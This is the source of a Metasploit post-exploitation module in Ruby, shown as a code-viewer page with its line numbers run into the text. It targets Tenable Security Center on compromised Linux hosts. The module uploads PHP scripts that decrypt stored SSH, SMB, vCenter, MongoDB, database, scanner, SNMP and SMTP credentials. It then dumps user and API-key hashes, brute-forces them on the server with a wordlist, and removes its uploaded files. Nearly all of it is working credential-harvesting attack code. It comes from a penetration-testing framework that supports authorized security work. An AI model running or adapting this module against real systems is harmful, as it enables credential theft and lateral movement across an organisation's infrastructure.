Path: blob/master/modules/post/linux/gather/tenable_security_center.rb
70334 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::Linux::System8include Msf::Post::Linux::Priv9include Msf::Post::File10include Msf::Auxiliary::Report1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Tenable Security Center',17'Description' => %q{18This module collects credentials and setup information19from Tenable Security Center. root or TNS user permissions20are required. We don't utilize SC's builtin backup21functionality as that requires SC to be shut down.22The module works in 2 phases:2324Phase 1: gather all passwords which can be decrypted. These25are non-user ones such as credentials used for scans, creds26for the Nessus servers, SMTP, etc.2728Phase 2: handle hashed passwords processing. SC uses SHA-51229and PBKDF2 according to the documentation, but the implementation30(salt+hash vs hash+salt) is unknown due to the source code being31protected by SourceGuardian. To get around this, we use a php32script on server to brute force the passwords. Note this will33use SC's resources. The crack attempt rate is ~6/sec on a test34instance, so you'll want a small password list.3536Tested against SC 6.7.2 on RHEL937},38'License' => MSF_LICENSE,39'Author' => [40'h00die',41],42'Platform' => ['linux'],43'SessionTypes' => ['shell', 'meterpreter'],44'References' => [45[ 'URL', 'https://docs.tenable.com/security-center/Content/EncryptionStrength.htm']46],47'Notes' => {48'Stability' => [CRASH_SAFE],49'SideEffects' => [],50'Reliability' => []51}52)53)54register_options [55OptPath.new('WORDLIST', [false, 'The path to an optional wordlist'])56]57register_advanced_options [58OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])59]60end6162def run63unless is_root? || whoami == 'tns'64fail_with(Failure::NoAccess, "Root permission or tns user required. Root permissions: #{is_root?}, username: #{whoami}")65end66fail_with(Failure::NotFound, 'Security Center not found (/opt/sc/src/defines.php)') unless file?('/opt/sc/src/defines.php')6768defines = read_file('/opt/sc/src/defines.php')69version = defines.match(/define\("SC_VERSION",\s*"([^"]+)"\)/)[1]70print_good("Security Center Version: #{version}")7172@sc_service_data = {73host: ::Rex::Socket.getaddress(session.sock.peerhost, true),74address: ::Rex::Socket.getaddress(session.sock.peerhost, true),75port: '443',76service_name: 'tenable security center',77name: 'tenable security center',78protocol: 'tcp',79info: version.to_s,80workspace_id: myworkspace_id81}82report_service(@sc_service_data)8384if is_root?85@command_prefix = "su - tns -s /bin/bash -c '/opt/sc/support/bin/php "86@command_postfix = "'"87else88@command_prefix = ''89@command_postfix = ''90end9192gather_decrypted_creds93gather_hashed_creds94end9596def gather_decrypted_creds97script_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alphanumeric(8..10)}"98vprint_status("Uploading database cred decryptor to #{script_path}")99fail_with(Failure::BadConfig, "Unable to write to #{script_path}") unless upload_file(script_path, ::File.join(Msf::Config.data_directory, 'post', 'tenable', 'security_center', 'pull_encrypted_database_fields.php'))100vprint_status("Running cred dumper: #{@command_prefix}#{script_path} -json#{@command_postfix}")101output = cmd_exec("#{@command_prefix}#{script_path} -json#{@command_postfix}")102rm_f(script_path)103104begin105output = JSON.parse(output)106rescue JSON::ParserError => e107print_error("Error parsing JSON output: #{e}")108end109110loot_path = store_loot('tenable.security_center.creds', 'application/json', session, output, 'creds.json', 'Security Center Decrypted Credentials JSON')111print_good("Decrypted Security Center credentials stored to: #{loot_path}")112113tbl = Rex::Text::Table.new(114'Header' => 'Decrypted Credentials',115'Indent' => 1,116'Columns' => ['Source', 'Table', 'Username', 'Decrypted Password', 'Other Fields']117)118119decrypted_flag = ' [DECRYPTED]'120::Rex::Socket.getaddress(session.sock.peerhost, true)121122output.each { |cred| process_decrypted_cred(cred, tbl, decrypted_flag) }123print_good(tbl.to_s)124end125126def process_decrypted_cred(cred, tbl, decrypted_flag)127case cred['_table']128when 'AppSSHCredential'129service_data = {130address: '0.0.0.0',131port: '22',132service_name: 'ssh',133protocol: 'tcp',134workspace_id: myworkspace_id135}136137if cred['authType'] == 'password'138credential_data = {139origin_type: :service,140module_fullname: fullname,141username: cred['username'],142private_data: cred['password'].gsub(decrypted_flag, ''),143private_type: :password144}145else146credential_data = {147origin_type: :service,148module_fullname: fullname,149username: cred['username'],150private_data: cred['privateKey'].gsub("\r\n", "\n"),151private_type: :ssh_key152}153end154155credential_data.merge!(service_data)156credential_core = create_credential(credential_data)157158login_data = {159core: credential_core,160status: Metasploit::Model::Login::Status::UNTRIED161}162163login_data.merge!(service_data)164create_credential_login(login_data)165info = cred.fetch('passphrase', '').gsub(decrypted_flag, '')166info = "SSH Key Passphrase: #{info.gsub(decrypted_flag, '')}" if info != ''167168tbl << [cred['_source'], cred['_table'], cred['username'], credential_data[:private_data].gsub("\n", ''), info]169170# check if they have privilege creds171if cred.key?('escalationPassword') && cred['escalationPassword'].gsub(decrypted_flag, '') != ''172credential_data = {173origin_type: :service,174module_fullname: fullname,175username: cred.fetch('escalationUsername', cred.fetch('escalationSuUser', cred.fetch('escalationAccount', ''))).gsub(decrypted_flag, ''),176private_data: cred['escalationPassword'].gsub(decrypted_flag, ''),177private_type: :password178}179180credential_data.merge!(service_data)181credential_core = create_credential(credential_data)182183login_data = {184core: credential_core,185status: Metasploit::Model::Login::Status::UNTRIED186}187188login_data.merge!(service_data)189tbl << [cred['_source'], cred['_table'], credential_data[:username], credential_data[:private_data], "Escalation method: #{cred['privilegeEscalation']}"]190end191when 'AppWindowsCredential'192service_data = {193address: '0.0.0.0',194port: '445',195service_name: 'smb',196protocol: 'tcp',197workspace_id: myworkspace_id198}199200credential_data = {201origin_type: :service,202module_fullname: fullname,203username: cred['username'],204private_data: cred['password'].gsub(decrypted_flag, ''),205private_type: :password206}207unless cred['domain'] == ''208credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN209credential_data[:realm_value] = cred['domain']210end211212credential_data.merge!(service_data)213credential_core = create_credential(credential_data)214215login_data = {216core: credential_core,217status: Metasploit::Model::Login::Status::UNTRIED218}219220login_data.merge!(service_data)221create_credential_login(login_data)222223tbl << [cred['_source'], cred['_table'], cred['username'], cred['password'].gsub(decrypted_flag, ''), '']224when 'AppVMwarevCenterCredential'225service_data = {226address: cred['vcenter_host'],227port: cred['vcenter_port'],228service_name: 'vcenter',229protocol: 'tcp',230workspace_id: myworkspace_id231}232233credential_data = {234origin_type: :service,235module_fullname: fullname,236username: cred['vcenter_username'],237private_data: cred['vcenter_password'].gsub(decrypted_flag, ''),238private_type: :password239}240241credential_data.merge!(service_data)242credential_core = create_credential(credential_data)243244login_data = {245core: credential_core,246status: Metasploit::Model::Login::Status::UNTRIED247}248249login_data.merge!(service_data)250create_credential_login(login_data)251252tbl << [cred['_source'], cred['_table'], cred['vcenter_username'], cred['vcenter_password'].gsub(decrypted_flag, ''), '']253when 'AppMongoDBCredential'254service_data = {255address: '0.0.0.0',256port: cred['mongodb_port'],257service_name: 'mongodb',258protocol: 'tcp',259workspace_id: myworkspace_id260}261262credential_data = {263origin_type: :service,264module_fullname: fullname,265username: cred['mongodb_username'],266private_data: cred['mongodb_password'].gsub(decrypted_flag, ''),267private_type: :password268}269270credential_data.merge!(service_data)271credential_core = create_credential(credential_data)272273login_data = {274core: credential_core,275status: Metasploit::Model::Login::Status::UNTRIED276}277278login_data.merge!(service_data)279create_credential_login(login_data)280281tbl << [cred['_source'], cred['_table'], cred['mongodb_username'], cred['mongodb_password'].gsub(decrypted_flag, ''), cred['mongodb_database']]282when 'AppDatabaseCredential'283service_data = {284address: '0.0.0.0',285port: cred['port'],286service_name: cred['dbType'],287protocol: 'tcp',288workspace_id: myworkspace_id289}290291credential_data = {292origin_type: :service,293module_fullname: fullname,294username: cred['username'],295private_data: cred['password'].gsub(decrypted_flag, ''),296private_type: :password297}298299credential_data.merge!(service_data)300credential_core = create_credential(credential_data)301302login_data = {303core: credential_core,304status: Metasploit::Model::Login::Status::UNTRIED305}306307login_data.merge!(service_data)308create_credential_login(login_data)309310tbl << [cred['_source'], cred['_table'], cred['username'], cred['password'].gsub(decrypted_flag, ''), cred['dbType']]311when 'Scanner'312service_data = {313address: cred['ip'],314port: cred['port'],315service_name: cred['nessusType'],316protocol: 'tcp',317workspace_id: myworkspace_id318}319320credential_data = {321origin_type: :service,322module_fullname: fullname,323username: cred['username'],324private_data: cred['password'].gsub(decrypted_flag, ''),325private_type: :password326}327328credential_data.merge!(service_data)329credential_core = create_credential(credential_data)330331login_data = {332core: credential_core,333status: Metasploit::Model::Login::Status::UNTRIED334}335336login_data.merge!(service_data)337create_credential_login(login_data)338339tbl << [cred['_source'], cred['_table'], cred['username'], cred['password'].gsub(decrypted_flag, ''), "Scanner Type: #{cred['nessusType']}"]340when 'SNMPCredential'341service_data = {342address: '0.0.0.0',343port: '161',344service_name: 'snmp',345protocol: 'udp',346workspace_id: myworkspace_id347}348349credential_data = {350origin_type: :service,351module_fullname: fullname,352username: '',353private_data: cred['communityString'].gsub(decrypted_flag, ''),354private_type: :password355}356357credential_data.merge!(service_data)358credential_core = create_credential(credential_data)359360login_data = {361core: credential_core,362status: Metasploit::Model::Login::Status::UNTRIED363}364365login_data.merge!(service_data)366create_credential_login(login_data)367368tbl << [cred['_source'], cred['_table'], '', cred['communityString'].gsub(decrypted_flag, ''), '']369when 'Configuration' # SMTP370addr = if ::Rex::Socket.is_ip_addr?(cred['SMTPHost'])371cred['SMTPHost']372else373begin374::Rex::Socket.getaddress(cred['SMTPHost'], true)375rescue StandardError376'0.0.0.0'377end378end379380service_data = {381address: addr,382port: cred['SMTPPort'],383service_name: 'smtp',384protocol: 'tcp',385workspace_id: myworkspace_id386}387388credential_data = {389origin_type: :service,390module_fullname: fullname,391username: cred['SMTPUsername'],392private_data: cred['SMTPPassword'].gsub(decrypted_flag, ''),393private_type: :password394}395396credential_data.merge!(service_data)397credential_core = create_credential(credential_data)398399login_data = {400core: credential_core,401status: Metasploit::Model::Login::Status::UNTRIED402}403404login_data.merge!(service_data)405create_credential_login(login_data)406407tbl << [cred['_source'], cred['_table'], cred['SMTPUsername'], cred['SMTPPassword'].gsub(decrypted_flag, ''), '']408else409username = cred.fetch('username', '')410password = cred.fetch('password', '').gsub(decrypted_flag, '')411tbl << [cred['_source'], cred['_table'], username, password, '']412print_warning('Please reivew loot for additional details')413end414end415416def gather_hashed_creds417script_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alphanumeric(8..10)}"418vprint_status("Uploading database cred dumper to #{script_path}")419fail_with(Failure::BadConfig, "Unable to write to #{script_path}") unless upload_file(script_path, ::File.join(Msf::Config.data_directory, 'post', 'tenable', 'security_center', 'dump_crack_hashes.php'))420vprint_status("Running cred dumper: #{@command_prefix}#{script_path} -json#{@command_postfix}")421output = JSON.parse(cmd_exec("#{@command_prefix}#{script_path} -json#{@command_postfix}"))422423loot_path = store_loot('tenable.security_center.creds.hashed', 'application/json', session, output, 'hashed_creds.json', 'Security Center Credentials JSON')424print_good("Decrypted Security Center credentials stored to: #{loot_path}")425426cred_tbl = Rex::Text::Table.new(427'Header' => 'Accounts Hashes',428'Indent' => 1,429'Columns' => ['UserID', 'Org', 'Username', 'Salt:Hash']430)431api_keys_tbl = Rex::Text::Table.new(432'Header' => 'API Keys',433'Indent' => 1,434'Columns' => ['ID', 'User ID', 'Name', 'Access Key', 'Salt:Hash']435)436437output.each do |cred|438case cred['_table']439when 'APIKey'440api_keys_tbl << [cred['id'], cred['userAuthID'], cred['name'], cred['accessKey'], "#{cred['salt']}:#{cred['key']}"]441when 'UserAuth'442cred_tbl << [cred['id'], cred['orgID'], cred['username'], "#{cred['salt']}:#{cred['password']}"]443end444end445446print_good(api_keys_tbl.to_s) unless api_keys_tbl.rows.empty?447print_good(cred_tbl.to_s) unless cred_tbl.rows.empty?448449unless datastore['WORDLIST']450rm_f(script_path)451return452end453454crack_hashes(output, script_path)455end456457def crack_hashes(hashed_output, script_path)458wordlist_lines = File.read(datastore['WORDLIST']).lines.count459estimate_minutes = ((hashed_output.length * wordlist_lines) / 6.0 / 60).round(1)460print_warning("Estimated brute force time: #{estimate_minutes} minutes (#{hashed_output.length} users x #{wordlist_lines} words @ 6/sec)")461print_warning('Waiting 5 seconds for user interuption if this is too long a time.')462sleep(5)463464wordlist_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alphanumeric(8..10)}"465vprint_status("Uploading wordlist to: #{wordlist_path}")466fail_with(Failure::BadConfig, "Unable to write to #{wordlist_path}") unless upload_file(wordlist_path, datastore['WORDLIST'])467468output = JSON.parse(cmd_exec("#{@command_prefix}#{script_path} -json -crack #{wordlist_path}#{@command_postfix}").lines[1..].join)469rm_f(script_path)470rm_f(wordlist_path)471472cracked_tbl = Rex::Text::Table.new(473'Header' => 'Cracked Credentials',474'Indent' => 1,475'Columns' => ['ID', 'User', 'Password', 'Admin']476)477output.each do |cred|478cracked_tbl << [cred['id'], cred['username'], cred['password'], cred['isAdmin']]479credential_data = {480origin_type: :service,481module_fullname: fullname,482username: cred['username'],483private_data: cred['password'],484private_type: :password485}486487credential_data.merge!(@sc_service_data)488create_credential(credential_data)489end490491print_good(cracked_tbl.to_s) unless cracked_tbl.rows.empty?492end493end494495496